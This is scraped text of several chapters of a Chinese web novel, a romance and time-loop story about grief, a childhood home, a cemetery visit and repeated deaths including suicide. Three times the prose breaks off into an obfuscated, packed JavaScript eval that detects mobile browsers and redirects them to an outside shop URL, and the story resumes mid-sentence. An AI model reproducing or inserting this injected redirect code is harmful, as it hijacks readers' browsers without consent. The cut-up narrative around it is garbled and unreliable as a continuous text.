缓缓叹了口气,姜青杳希望她的忧愁能够随着空气飘走。 自行车很快就停在了一个小区门口,长长的栏杆阻拦了她们前进的路线。由于是老小区,只有这一个车辆的出入口,栏杆旁边是弯曲回绕着的“Z”型的行人行走通道,自行车进不去。 姜青杳记得当时住在这个小区的时候特别怕那个保安,总是凶凶的。 果不其然,她们被保安以“没见过的生面孔”赶了出来。 “非要进去吗?”姜青杳站在自行车旁边,仰着头问思索着的邵远年。 “嗯,来都来了。”不出所料的“来都来了”经典话语,姜青杳没了招。 没多久,保安室的老旧电视机在那唱着戏曲,邵远年和姜青杳猫着腰从半人高的窗口过去,刚从亮着灯光的窗口鬼鬼祟祟到黑漆漆的小区里,两个人就忍不住捂住嘴闷着笑,怕被保安发现。 老小区的路灯坏了好几盏,还在工作的一两盏发着微弱的光,像是夏日农田里的萤火虫。 姜青杳讷讷地环顾四周。爬满墙壁的有些枯萎的爬墙虎,黑色的油粘腻在挂在外墙的空调外机那,蔓延到各家各户的厨房抽油烟机的窗口,生了锈的铁栅栏和防盗窗破旧地立在那里。 和记忆里的没什么两样。只是所有的一切都变成了缩小版。 “记得吗?小时候停电,我们就在院子里滑滑板车玩。”邵远年的话语打断了姜青杳的环顾,将她重新拽入快十年前的童年,记忆里的黑漆漆的院子和眼前的老小区重叠:“嗯,记得。” 邵远年从口袋里拿出手电筒,亮敞敞的灯光照亮了院子的一小部分。担心这样强烈的光被保安发现,姜青杳慌乱扑过去按着邵远年的手“咔哒”“咔哒”调节了手电筒的光线强度。 变成幽幽的红蜡烛光线了。 意识到两个人的距离过于靠近,姜青杳往后退了退,背在身后的双手还残留着邵远年肌肤的温度。左右手的食指交缠着,她抿了抿干燥的唇,才开口说话:“被保安发现就糟糕了。” 绿色的瞳仁在昏暗的场景下视力格外好,他注意到她变化的可爱表情,嘴角弧度往上扬,握住拳的手遮挡住要笑出声的笑声,然后才小声地学着她的气音说话:“好,我记住了。” 刚想说不要学她说话,灯光就被“咔哒”灭掉,然后温热的手抚上她有些冰凉的手,没来得及惊叫,就被一股大力拉到了一辆车的后面。想问的还没有出口,就听到了脚步声和保安的声音。 “奇了怪了,怎么感觉刚刚有灯。”保安嘟囔几句,又转身离开了。 姜青杳紧张的时候就会控制不住地打哈欠,现在也是。嘴巴刚刚张开头往后下意识后仰,就撞到了邵远年的下巴,她讷讷看着黑夜中闪耀的绿色瞳仁,她正半躺在他的怀里和他对视。这样的动作,齐刘海有些微微分叉,能够更好地看清她的小表情,幽绿的眼睛紧紧盯着她的脸,默不作声。 这样的距离过分的近,姜青杳像是被抱起来放在大腿上的猫咪,仰起头和主人近距离对视后,才摆弄着手和腿从主人的腿上顾涌顾涌地溜出去,然后留下一句咪咪喵喵的话:“吓我一跳。” “扑哧。”邵远年在笑,她能想象到他笑起来的时候漂亮的喉结在那滚动,还有清新的吐息。 “笑什么?”姜青杳用手扒拉扒拉自己的刘海,将跑错地方的碎发理正。 “笑你,像小猫一样。”邵远年眉眼柔和地看着蹲在那里像是小蘑菇一样的她。 许是这样蹲在地上,两个人小小的模样,让姜青杳回到了过去她们窝在用沙发上的靠枕打造的小城堡里面的日子——那个时候她们就是这样蹲在黑黢黢的小地方,然后彼此相视相笑,姜青杳笑了笑,伸出一拳不痛不痒地打到了邵远年的腿上:“那就吃我一记喵喵拳!哈!” 突然,她发现裤子口袋里的一个东西硬硬的,硌着手有点微微的疼:“是什么东西?硬硬的。” “钥匙。”面前的人说着,从口袋里拿出来那把有些生了锈的钥匙,在月光下晃动。 - “吱呀——” 生锈的钥匙在手电筒的打光下塞进了钥匙孔里,扭动了几下像是卡壳了一样,再左右扭转了一下,门终于开了。破旧的木门发出沉闷的声音,在空荡荡的没有封闭的旧楼栋里怪吓人的。 姜青杳摸了摸身上起来的鸡皮疙瘩,发现邵远年倒没有什么害怕的,于是问:“你不怕?” 她刚刚看过了,她们拿着钥匙来到之前住着的这栋楼黑漆漆的,根本没有一户人家住在这里。 “不怕,”邵远年很诚实地摇摇头,“又不是凶宅。” 被“凶宅”两个字吓到的姜青杳赶忙扒拉住邵远年要进入房门的身体,赶在他前面进了房子,然后按了按开关——“咔哒”“咔哒”只有简单的声音回响,没有一丝亮起来的灯光。 “这的灯坏掉了,但是客厅的灯是好的。”知道姜青杳害怕,邵远年把手电筒交到她手里,然后寻着月光在旧屋子里摸索着,没几秒,客厅的灯打开了,这栋楼唯一的光源亮起来了。 “你怎么这么清楚?”灯打开了,害怕的情绪减少了一点,姜青杳把手电筒调到最小的光,然后学着小时候像指认犯罪嫌疑人一样地对着邵远年,“老实交代,坦白从宽,抗拒从严。” “前不久我看有人出售这个房子,就买下来了,然后把家里都打扫了一遍。”说着,又从另一个口袋里拿出来一把钥匙,在姜青杳面前晃了晃,“这个是我之前住的那个房子的钥匙,对门。” 脑袋里宕机了一瞬间,然后追悼会过后的那些事情一一串联起来,姜青杳的睫毛像是蜜蜂扇动翅膀一样快速眨着,这是她有些懵的时候的下意识的小动作,然后她才开口:“可是,为什么呢?” 原本还在找客厅的遥控器的邵远年转过身,眉眼温柔地看着她,声音醇醇:“虽然过去的已经过去了,但是承载记忆的载体还在。我只是觉得,如果能够让你回到过去的房子里,你会快乐一点。” 老旧的电视机响起来了,滋滋的,播放的是猫和老鼠,用的是光碟机。 还在发愣的姜青杳就被邵远年拉到了沙发上坐下,沙发还是以前的沙发,红色的真皮沙发。小的时候她们常常在沙发上蹦来蹦去,有一块沙发的弹簧被她们崩坏了。她摸了摸,是左边这个。 真皮沙发没有以前那样润滑了,摸起来有些糙糙的,毕竟是千禧年那一年的沙发,距离现在少说也有九年了。姜青杳靠在了沙发背垫上,环顾四周,发现大概的都没有变,只有掉了皮的墙,还有一些斑驳的痕迹,和各种缩小版的家具在告诉她“你回来了,但是一切都变了”。 心里有些感慨,她其实常常做梦梦到过去的事情。 “邵,唔!”刚想喊邵远年的名字,一颗爆米花就这样被塞进了嘴里。 她讷讷地嚼了嚼,将焦糖味的爆米花吞咽下去,眼睛瞪得大大的。 “这几天买的,我叫人提前放在家里了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661695|188470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道她的疑惑,他淡淡地笑着说。 刚想问怎么准备的这么齐全,姜青杳就闻到空气里一股香香的烤红薯味道:“烤红薯?” 点了点头,邵远年起身走到饮水机那里倒了一杯水递给她:“对,还要半个小时差不多。” 接过水杯喝了一口,姜青杳才想起来刚刚的话:“不对,你有钥匙干嘛还让我们跟做贼似的?” 被姜青杳戳破,邵远年挠了挠鼻尖,有些不好意思地笑着说:“要是你早就知道我有钥匙的话,我的惊喜计划就白费了。”看着眼前的人真诚的眼眸,姜青杳撇了撇嘴:“好吧,原谅你了。” - 微波炉旋转的暖黄色灯光在姜青杳和邵远年的面前灭掉了,“叮”的一声响起,姜青杳迫不及待地打开了微波炉,香喷喷的烤蜜薯让整个空气都弥漫着一股甜丝丝的香气,她仔细嗅了嗅。 “好香。”说着,姜青杳就打算伸手去拿,被邵远年一只修长骨节分明的手拦住了。 温热的肌肤触碰到冰冷的手背,阻拦她直接伸手去拿后,邵远年的手就收回来了,但是姜青杳怔住了。她不知道为什么,邵远年的手触碰到她的手的时候,她感觉心跟火燎了一样。 「寂寞的燃烧。」 她不知道为什么突然想到了这句诗词里的话,讷讷看着邵远年。 邵远年并没有发现姜青杳的走神,而是拿出厚厚的烤面包用的手套套在手上:“小心烫。” “啪!”突然的一声,家里所有的电都停了,屋子里黑黢黢的。 眼前的世界突然变得漆黑,姜青杳有点被吓到了,下意识伸手去抓邵远年的手。 “别怕。”黑漆漆的环境里,邵远年的声音响在耳畔,她紧张的情绪缓解了不少。 她其实并不怕黑,只是在叶知舟离开之后,她就有点害怕一个人在黑暗的环境里待着了。 眼睛还没有完全适应黑暗,姜青杳的世界又亮了起来,邵远年将手电筒立在地板上对着天花板:“这样会不会好一点?”说罢,他抬眸看向姜青杳,温柔的眸子里写满了对她的担忧。 “嗯,好多了。”姜青杳点点头,下意识想要扶扶眼镜框。 视线下移,她才反应过来自己还抓着邵远年的手不放。 有些尴尬地缩回了手,本能地向后退,脊背却撞上了柜子的一角,以为头也会撞到桌角,姜青杳有些吃痛地“嘶”了一声,然后就等待疼痛的加剧。结果没想到等到了温热的手掌护住了她的头。 眨了眨眼睛,姜青杳抬眸看到蹙着眉表情担心的邵远年,发现距离近得可以看到他脸上的毛孔,脸就这样慢慢被粉色爬满。意识到距离有些近,邵远年的脖颈也染上粉晕,慌忙退了退。 “还好吧?”邵远年柔和的表情在灯光下像是染了一层光,“会不会很痛?” “……嗯,还好了。”姜青杳说话间感觉心跳仿佛要跳出嗓子眼,有些不敢看邵远年。 顿了顿,还没有察觉出心思到底为什么会这样波澜,姜青杳开口说:“走吧,吃红薯去?” 老旧的小区停电是常态,那个时候点蜡烛只会觉得有些浪费,家里很少会用到蜡烛,停电不点蜡烛去看看月光就成为了姜青杳一家的习惯。现下,她们跟小时候一样,搬着椅子坐在阳台。 将流着蜜的红薯皮剥下,橙红色的带着一点点焦糖的红薯就露出来了,姜青杳咬上一口发现特别甜,像是在吃焦糖味的爆米花甜丝丝的,感觉自己的心也变得甜蜜了起来。她特别喜欢吃烤焦的那部分,有点脆脆的又有点带着糊味的甜,这个蜜薯就是这样的,没想到邵远年烤得这么好。 带着蜜的暖意温暖了姜青杳的肠胃,她感觉心里特别满足,前所未有的满足。 “邵远年。”像是被温水融化的冰块,姜青杳的一角被柔软地碾开。 “嗯?”听到她的声音,邵远年扭头看向靠在椅背上的姜青杳,轻声应和。 “要是一辈子都不会长大就好了。”姜青杳望着天空的漫天星辰感叹道。 “我曾经是这样想的,现在觉得长大好像也还行,不是那么难以接受。”顿了顿,她继续说。 “嗯?为什么?”有些疑惑,绿色的瞳仁就这样温柔地看着姜青杳。 “因为,兜兜转转,我和你又见面了。”姜青杳笑着说。 8. 08.我爱你(梦) (本章可以搭配林忆莲的单曲《明明》食用。) 其实自打姜蝶住院、叶知舟抢救无效过世,姜青杳就开始害怕“无穷”。 她害怕的“无穷”包括很多很多,是她现在这个年龄暂且无法阐明的。 在她的理解里,“死亡”就是“无穷”——有限的灵魂肉/体在无穷的那一刻霎时销毁。但是她从未感受过“死亡”,她只能愚昧地将“死亡”和“黑色”划上等号。而她们现在就在她害怕的“黑色”和“无穷”里待了很久。久到她迷迷糊糊地被邵远年背在背上,两个人的身影被月色拉得很长、很长。 - “咔哒。” 邵远年背着风口,从口袋里拿出打火机,左手半围着圈遮挡住打火机,点燃了嘴上衔着的烟。 点点橙橘色的星火在烟头点亮,邵远年猛吸了一口,然后被吞入肺的烟雾呛得猛咳了几下,夹在左手的烟因为剧烈地颤抖差点没拿稳,烟蒂的一些灰烬掉落下来,弄脏了黑色的西装裤。 明明不会抽烟,邵远年却还是固执地继续伸着左手靠近自己的嘴,但垂眸看到墓碑上那个不苟言笑的黑白照,又垂下了手。他泄气地将烟踩在脚下熄灭了烟,然后半蹲着看着眼前的人。 这是他第六次的人生里第一次来到姜青杳的墓碑前。他找了许久,找了几十分钟。倒不是他不记得,而是他记得的墓碑太多了。他走着走着总觉得恍惚——这究竟是第几次的人生了? 前两次的人生,他总是固执地将墓碑选在同一个地方。直到第三次,他再次颓废地拨打那个打了不知道多少次的电话购买了墓地,而后面的每一次他都随机挑选一个不错的地方当作墓地。 好不容易找到墓地的时候,邵远年沉默地站在墓碑前,低头看着姜青杳看了很久。 无论多少次,他都无法接受他的月亮陨落了。 他的月亮应该高悬在天穹,而不是被埋在潮湿又干裂的泥土里。 他的黑天鹅应该翱翔于天际,而不是沉入圈养的湖底。 第一次见到肿胀绀色的姜青杳的时候,邵远年颤抖着手拨打了急救电话。 急救医生赶来的时候,发现姜青杳已经去世一段时间,尸斑都出现了。医生见他年纪轻轻,于是拿着纸笔一一写明了接下来该去怎么办死亡证明、怎么去进行户籍注销的事情,并把殡仪馆的电话号码给他,告诉他可以先找殡仪馆运送尸体,然后再和家里亲属探讨怎么举办丧葬的相关事宜。 第二次见到意外猝死的姜青杳的时候,邵远年紧张地拨打了公安机关的电话,然后看着工作人员处理相关事宜。别人问他知不知道后面的事宜的时候,他紧张地吞咽了几下随后点了点头。 第三次撞开房间的门锁见到姜青杳的尸体的时候,他没有了紧张和害怕。但这是他第一次仔细看没有经过遗体修复师处理过的尸体,邵远年没忍住直接吐在了地板上。再后面,仿佛成为了一个流程,他有条不紊地处理好姜青杳自杀的死亡证明相关事宜,再没有了当初的害怕和无助。 「被烈火炙烤后的骨灰静静躺在几十公里外的土地里,会寂寞吗?」 这段写在姜青杳日本籍最后一页的话,让邵远年头脑一热,开车一个多小时来到了墓园和她见面。期间,车载电台的声音随着呜呜的风声唱响——“明明,握在手中,明明,明明……” 他其实有很多机会,也有很多时间去看姜青杳留下来的遗物之一——这本厚厚的日记本。但是他总是堪堪停在日记本的前面几页,只草草地扫过她写过的想要完成的愿望,然后就将日记本塞进纸箱的角落,用粘胶粘封起来,再将它们一一放在车的后备箱里,从她们的家运输到他的新家里。 说起来也是机缘巧合,沈佩淑昨天突然发微信问有没有见过姜青杳的遗书。 他今早起来才看到信息,随后就用钥匙打开了封锁已久的杂物间的大门。 里面阴湿的灰尘味让他驻足深吸了一口气,然后就开始翻找。 “岁岁她没有留过遗书。” 邵远年将这句话发送过去,在等待沈佩淑的回信的时候,他突然望向了这本日记。 于是他第一次,认真地翻开了姜青杳的遗物,看到了她高中时期规整的学生字迹。 他坐在灰尘满满的小卧室的地板上坐了很久,久到阳光变成月光,久到问题从“明天吃点什么好呢”再到“明天会好起来吗”,久到规整的学生字迹变成痛苦的爪牙似的潦草笔记。 「被烈火炙烤后的骨灰静静躺在几十公里外的土地里,会寂寞吗?」是姜青杳询问很多年前入土为安的叶知舟,还是询问未来的她自己,躺在这片蓝色星球的土壤里是否会寂寞?邵远年不知道。他只知道最终寂寞留给了他自己。在姜青杳离开后,他漫长人生的每一秒都是对他的惩罚。 瑟瑟的寒风突然吹拂过来,刚刚缭绕的烟瞬间散去,邵远年忽然笑了笑。 姜青杳很不喜欢烟味。据姜蝶说,要是小时候家里来了客人,有人边抽烟边打牌打麻将,姜青杳就会“蹬蹬蹬”地从房间里拿出自己的小白板,亮出那几个大字“不欢迎您抽烟”然后一脸倔强地抿着嘴仰着头看着比自己坐着还高一点的大人,一副小大人模样,常常把人逗笑,对她生不起来气。 邵远年抬起手轻轻地抚摸着照片上那个看起来并不是很明显的泪痣,轻叹一口气。 他曾固执地以为爱能够拯救一切,直到他发现想要用爱去挽留一个痛苦的人,反而是给她的痛苦更上一层枷锁。而这样的道理,直到名为“时间”的刃将她们的线越磨越细,他才想明白。 第一次见到姜青杳的时候,她六岁,小小的,更小的他被她抱在怀里。 现在的姜青杳,二十五岁,也小小的,安静地躺在这一方小土地里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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邵远年垂眸看向手机屏幕上的时间——10月28日。 无数次的失败,痛苦的轮回,他的记忆已经紊乱。就像是被猫玩得乱七八糟的毛线,他只能通过日记本去提醒自己要发生什么。这本日记本是由八具姜青杳的尸体构成的。每次翻看它们的时候,他总能回想起她发绀肿胀扭曲的躯体,堆满抽屉的药瓶,撕了又撕的难以拼凑出姓名的挂号单回诊单门诊指引单,安安静静躺在抽屉最底部的检查日期为2016年12月27日的心理CT报告表。 邵远年拿出压在枕头后面的厚厚的日记本。 将日期翻看到十月二十九号后,他看到上面的文字,愣住了。 9. 09.袋鼠 姜青杳没有想到邵远年会来陪她办理入学手续。 她悄悄地抬眸看向正在和程玉说话的邵远年,他说话的期间漂亮的喉结就一上一下地滚动。风呜呜地吹,她穿的驼色灯芯绒的裙摆就随着风一下又一下地撩拨着他的驼色风衣,像袋鼠找妈妈。 “具体情况我了解了,”短发戴着眼镜的程玉一副俐落干练的模样,“下午就可以办理住校。” 本来还在低头看着自己的裙摆的姜青杳猛地抬头——她怎么不知道新学校是要住校的? 有些怯怯地攥起自己的裙摆的衣角,用手指肚轻轻摩擦着衣摆的硬角,她又开始焦虑了。 “嗯,但是我们还有些事情,估计要29号晚上才能来办理住校手续来上学。”邵远年注意到姜青杳不安的模样,清了清嗓子,将音量抬高了些,让身旁不远处的姜青杳听得更清楚一些。 “啊是这样吗?那也可以,毕竟高中的课程已经结束了,现在大部分是在复习。” 出了办公室,邵远年看着姜青杳抿着嘴唇低头走路,顿了顿,停下了脚步:“是不高兴吗?” 心思被戳破,姜青杳用手卷着驼色的灯芯绒裙角,小声问:“可以不住校吗?我想家。” 然后一只温热的大掌像是老虎舔舐自己的幼崽那样胡乱揉了揉自己的头发,阳光下面显得她的头发更加的毛绒绒。她看着邵远年微微俯身,单手撑着膝盖:“宿舍是独立卫浴,两人间。” 听到邵远年这样一说,比想象中的住宿条件好点,姜青杳叹了口气,点点头:“好吧。” 眼前的人发出清朗的笑声,眼睛笑得眯起来:“还有,你不是想家吗?我带你去个地方。” 城市的光景在车窗外不断后退,隔着暗蓝色车膜的车窗,热烈的阳光照不进来,只剩下一些沉默的树影和建筑物在不断后退,姜青杳有些愣住了——这是开往城区外的路。 “我们去哪?”她讷讷地扭头,心里其实已经有些猜想,但是她怕失望落空。 “去墓园。”邵远年拿出一个毛毯,拉下车内的隔板,前面透过来的阳光就被阻绝了。毛毯被轻轻地盖在她的身上,车内的空调温度不算低,薄薄的毛毯盖在身上也有些微微热地发汗。 “……”姜青杳张了张嘴,愣愣地又不知道说些什么,怕眼泪掉下来,“嗯。” 姜青杳有些晕车,每次坐上车都是睡觉。盖上毛毯没多久就睡着了。 她睡起来很乖,嘴微微张着,是戴牙套合起来嘴会刮着肉疼的原因。垂落在身后的高马尾被她睡觉的姿势微微压歪,她的头一点一点地,随着车的摆幅晃。邵远年怕姜青杳这样睡觉落枕,挪了挪位子,靠得离她更近了一些,然后垂眸看着她睡觉一下又一下地靠近,直到靠着他的肩膀熟睡。 等到下车去了墓园的树葬区,太阳已经高挂日空。刚下车,风就呜呜地追着她们喊,姜青杳抬起手捂住自己乱飞的刘海,眯着眼睛看着远处一排排常青树,抖动得像是学校门口翻炸的鸡排。 和追悼会那天的阴雨连绵不同,也可能是时间细细打磨了心,姜青杳觉得天真开阔。 树葬的祭扫方式和传统的祭扫不同,她们只需要献花、浇水就可以了,不需要准备冥币。邵远年提前准备了一些花,她说不上来那些花的名字,只觉得叶知舟肯定会很喜欢这些蓝色的花。 位置是姜蝶选的,就在墓园直走几十米的拐弯处,一颗常青树下面葬下了叶知舟的骨灰。 姜青杳垂眸看着石头上面刻着的“叶知舟”三个字,缓缓蹲了下来,像是一颗小蘑菇。 在她的记忆里,叶知舟很高很高。 小的时候,她最喜欢被叶知舟抱起来举高转圈,就像是坐了一圈旋转茶杯一样。等长大一点,她喜欢被叶知舟和姜蝶一左一右牵着,然后她们的手举高,牵着她飞起来。再长大一点,她就时常被人撺掇着和叶知舟比身高,她就这样从他的腰间长到他的肩膀那里。 只是她没想到,没几年,叶知舟就只到她的小腿那么高。 她不再需要仰着头、踮着脚或者是跳起来才能和他一样高了。 她不是什么情绪很直白的人,她很内敛,但是鬼使神差的,看着只有自己小腿那么高的石头,她趴到草地上,用脸轻轻贴着石头上面的刻痕,眼泪滴答滴答滑过“叶知舟”三个字掉入土地里。 该说点什么吧,电视剧、小说里不都是这样,说点什么,但是姜青杳不知道说什么。 风就这样呜咽扫过墓园的每一寸每一分,直至姜青杳的眼泪被风吹干。 拍了拍身上的灰,姜青杳站了起来,用衣袖擦了擦自己脸上的泪痕。 “邵远年,你,有没有想过‘什么是死亡’的这类问题?” “……我之前,并不知道死亡到底意味着什么。第一次接触这个词汇,是在看的青春疼痛小说里面,女主得了胃癌,在胃癌晚期的时候男主找到了她,最终她死在了他的怀里。” “我之前一直以为我的人生不会完结。就像是玩的游戏一样,哪怕走到了结局,还是可以启动二周目。但是那本小说在描述完女主最终在男主怀里长眠后就‘全文完’了。这是我第一次感受到,死亡是一个人人生的终结。”提到当初第一次感受到“死亡”的感觉,姜青杳还是忍不住身子颤抖。 邵远年没有说话,这个时候说什么好像都不及让她一个人说完她想说的话。 “我曾经以为面对亲人离世的这一事实,我会像电视剧里表演的那样,会难过到吃不下饭,睡不着觉,但其实没有。刚开始的那几天我仍然在照常地吃饭和睡觉,和以前一样度过我的生活。”姜青杳一边说着,一边垂眸看着自然石头,“直到追悼会结束的那天,和妈妈一起回到家的我准备看下冰箱里还有没有别的食材能做饭,然后我在打开的冰箱里看到了放在侧边的啤酒。” “啤酒是爸爸买来的,他原本说要在我生日那天弄一盘虾球和一碗长寿面给我吃的,”姜青杳吸了吸鼻子,感觉喉咙像是有一坨棉花,被她的悲伤浸湿逐渐发泡,哽住了她的声腔,“然后就在那个时候,我才突然意识到——我的爸爸已经去世了,我再也吃不到他弄的虾球和长寿面了。” “可是,很奇怪,啤酒它一直都在的,为什么我在追悼会后才会感觉到难受?” 突然,姜青杳感觉有一只温热的手轻轻地抚摸着她的小脑袋。就像是猫妈妈轻轻地舔舐自己爱的小猫崽一样,然后她看到邵远年递给了她一张水蓝色的手帕:“擦擦吧。” “谢,谢谢。” 姜青杳抽噎着,接过了手帕,擦了擦脸上的泪痕。 邵远年看向姜青杳。 在这一刻,他很想将她拥入怀中,拍着她的后背。 然后轻声告诉她想哭就大声地哭出来吧。 “其实在很久以前,我也过早地失去过一个对我来说很重要的人。” 一句话,让姜青杳愣愣地抬头看向邵远年,示意他继续说下去。 “刚开始的几天,我总是会忘记她已经离开我了,总是会习惯性地敲门喊她起床,准备饭菜的时候总是会准备她爱吃的三菜一汤,煮米饭的时候总是煮了两人份的米饭。” “只有在敲门得不到回应,发现三菜一汤我根本没办法一个人吃完,碗里的米饭压了又压还是没有办法盛完电饭煲里的饭的时候,我才突然意识到——她已经不在了。” “雨总会有停的时候,但雨刚结束的时候,泥泞的土壤,翘起的砖块,堆积的水洼,它们不会马上离开。只有当你踩到它们的时候,你才会想起来前不久下过一场大雨。” 邵远年说着,抬手轻轻摘落了掉在姜青杳柔软的头发上的花瓣,随意地将它抛在泥泞的土地上,随后再眼神温柔地注视着看着自己眼睛的姜青杳,继续说道:“大雨总是会停的。” 姜青杳眨了眨眼睛,看着邵远年:“所以,你是怎么走出来的呢?” “是偶然有一天清理她的遗物的时候,我看到了她的日记本。她的日记本里写满了她还没来得及实现的愿望。然后我就决定了,我不能再这样萎靡不振,我要带着她的那一份重新热爱这个世界,”邵远年说着,手比了一个巴掌大的物件,“她说她希望冻死在冬天里的小动物少一些,很巧的是,我刚清完她的东西出门,就看到那么小的小猫咪蹲在门口,像是她派来的一样。” “叶叔叔的人生结束了,但你可以继续他的愿望,他的灵魂便永远不会消失。” 这句话就像是一支离弦的箭,正中姜青杳的心头。 “对于法律所要实现的公平与正义的牢固的、不易为外界的威逼利诱所动摇的正义观与正义感,就是法律的良心”这段应松年在他的著作里写的话,突然萦绕在姜青杳的心尖。 叶知舟的一生都在为别人发声,那么她也可以继续他的愿望,为别人发声。 所以,在未来,她会用她记录生活的笔和镜头为他人发声,让遥远山谷里不再只有呼啸的风声,让谷底的悲鸣不再被山峦吞噬,让山顶多一个能够发声的人,让更多的人听到她们的声音。 见姜青杳眼睛亮闪闪的,正憧憬着她那起码还有数十个春春秋秋的未来,邵远年松了口气。 他其实并不怎么会安慰人,在很久很久以前的时候就是了。那个时候,他只知道用沉默去回应她,所以后来的她也以沉默回应了他。也直到河水干涸的时候,他才意识到,湖水并非总是一面平镜。是他从来没有认真注视过湖面被任何一粒微小石子砸出的涟漪,总以为那是风吹动的痕迹。 按照日记里说的,姜青杳会在29号逃课翻墙出学校,拿着她那仅有的钱坐车去墓园,然后因为没有回家的钱,也没有手机,惨兮兮地蹲在墓园的入口,直到守夜的人打着手电筒找到她。 邵远年缓缓松了口气,温柔地说:“岁岁,你知道吗?我很高兴你今天愿意和我说这么多。” 顿了顿,邵远年又继续说:“如果你愿意的话,以后你也可以继续和我说这些心里的话。” 姜青杳没想到邵远年会这样说,她还以为他会觉得她矫情,觉得她做作,觉得她麻烦。 愣了愣,姜青杳抬起手,将小拇指勾了起来:“那我们可以拉勾吗?” 眨了眨眼睛,邵远年从讶异变成了露出笑容:“嗯,拉勾。” 拉完勾许下了诺言,姜青杳突然想剪短发了。 这个年代最流行遇到一些事情就剪短自己的头发,好像这样就能剪断牵挂。 “邵远年。”“嗯?”“我想剪短发了。” - “今日休假……明日再开门。” 一高一低的毛茸茸的脑袋凑在姜青杳常去的理发店门口念着玻璃门上面的休假告示。 她剪头发一向习惯定了一家就不换,因为总有听不懂中国话的理发师,把她比划的“一点点”变成大拇指到食指之间的十公分,每次剪完头发戴上眼镜看着镜子的时候才知道“败局已定”。 “算了,等下次什么时候再剪头发吧。”姜青杳叹口气,牵着邵远年的手准备打道回府。 姜青杳突然感觉手被人用力一拉,有些疑惑地回头看向邵远年,就听到他说:“我会剪头发。” 坐在餐桌椅子上的姜青杳努力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661697|188470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眯着眼睛看着桌面上的木相框镜子,发现只能看到大致的轮廓,暗自在想是不是自己的散光又加深了,一边更努力地眯着眼睛想要看清楚头发成什么样子了。 邵远年微微俯身靠近姜青杳的脸准备从镜子里看看正脸怎么样,就看到姜青杳眯着眼睛好像小狐狸,没忍住笑了笑,结果听到笑声的姜青杳瞬间不安起来:“你笑什么?是不是头发剪坏了?” 慌慌张张的姜青杳说着下意识回头看站在自己右侧的邵远年,被姜青杳突然的大声吓到的邵远年也下意识看向坐在他身旁的姜青杳,两个人的鼻尖就这样相互摩擦相撞:“啊!” 刚刚异口同声的两个人在感受到鼻子的痛感后又双手同步地捂着鼻子,反应过来后的姜青杳看向退在不远处的邵远年,见他的动作和她的动作完全就是放大缩小版,没忍住笑出了声。 吹风机的声音呜呜,将她的那些黏在脸上的碎发吹掉。 风吹啊吹,她的长发剪去一大把又一大把,最后姜青杳看着镜子里的齐肩的短发。 说来也奇怪,她看着她的长发一点点被剪短,直到堪堪能够扎起来的长度,真的感觉心里轻松了不少,好像未来真的会因为这样一个小小的决定出现变化,就好像她褪皮成为了“新我”。 - “叮——叮——” 又到了小巷子拥挤的时段。 姜青杳垂眸看着她们相交叠的双手,能看到邵远年手腕那蔓延的青色和紫色的血管,沿走在掌心的脉络若隐若现,但是可以看得出来他的生命线很长,长到和她的生命线一样绕转到手背。被她手心遮盖的脉络纹路凑巧和她手背上分叉游走的青紫色血管连接,就像是她们命中的红线。 她向来走路很快,和她同行的人常常会吐槽她走路很快。直到有次她带运动手表大概三十六分钟走了3.5公里,最大步频达到232,才知道自己平均118的步频对于其他人来说确实很快。 但是她们的步伐近乎同频——就好像她们天生合拍。 阳光下,姜青杳的头发像是海底跃动的水母,她的脚步也越发雀跃起来。 牵着的手一直没有松开,在姜青杳左手上的金元宝手链松紧带上的翠绿珠子随着两个人走路的节拍一下又一下敲打着邵远年的右手,“啪嗒啪嗒”就像是她雀跃兴奋的心跳。 担心姜青杳住校没有手机可以发短信,邵远年便带着她到最近的商超去买手机。 刚进商场,暖气就将两个人包裹,两个人就直奔一旁的手机专卖店。 她好奇地俯身看着白炽灯照亮的柜台,一排排各式各样的手机让她眼花缭乱。 这个年代的手机大部分是折叠手机,再或者就是下面是键盘的滑盖手机。姜青杳很喜欢折叠手机,接电话的时候就可以打开手机,遇到不想接的电话就可以直接关上,跟打快板似的,很酷。 看来看去,她一眼看中一个纯粉色还有些亮片碎钻在灯光下闪闪发亮的手机。 她见过邵远年的手机,和这个手机款式很像,但是他的是黑色的。 “喜欢这个吗?”注意到姜青杳希冀的眼神,随意看看的邵远年走过来问。 “嗯,喜欢这个。”姜青杳点点头,黑色的瞳仁里全是邵远年的倒影。 “好,”邵远年抬起手示意柜台的工作人员过来,“您好,这个款式的麻烦拿一盒新的。” 拿到手机后,柜台给配了一块新的电池和耳机线还有数据线,在专柜的另一个地方直接选了电话号码办了电话卡。将储存卡和电话卡塞到电池下方的卡槽后,姜青杳就启动了新的手机。 手机刚开没多久,姜青杳还在摸索,就发现有一个新的电话,手机周边的LED灯就在那里闪烁,她讷讷地抬头想问问邵远年是怎么回事,就看到邵远年拿着电话对着她笑:“是你打的?” “嗯,我打的。”邵远年点点头,眼底笑意不断,显得他整个人很柔和。 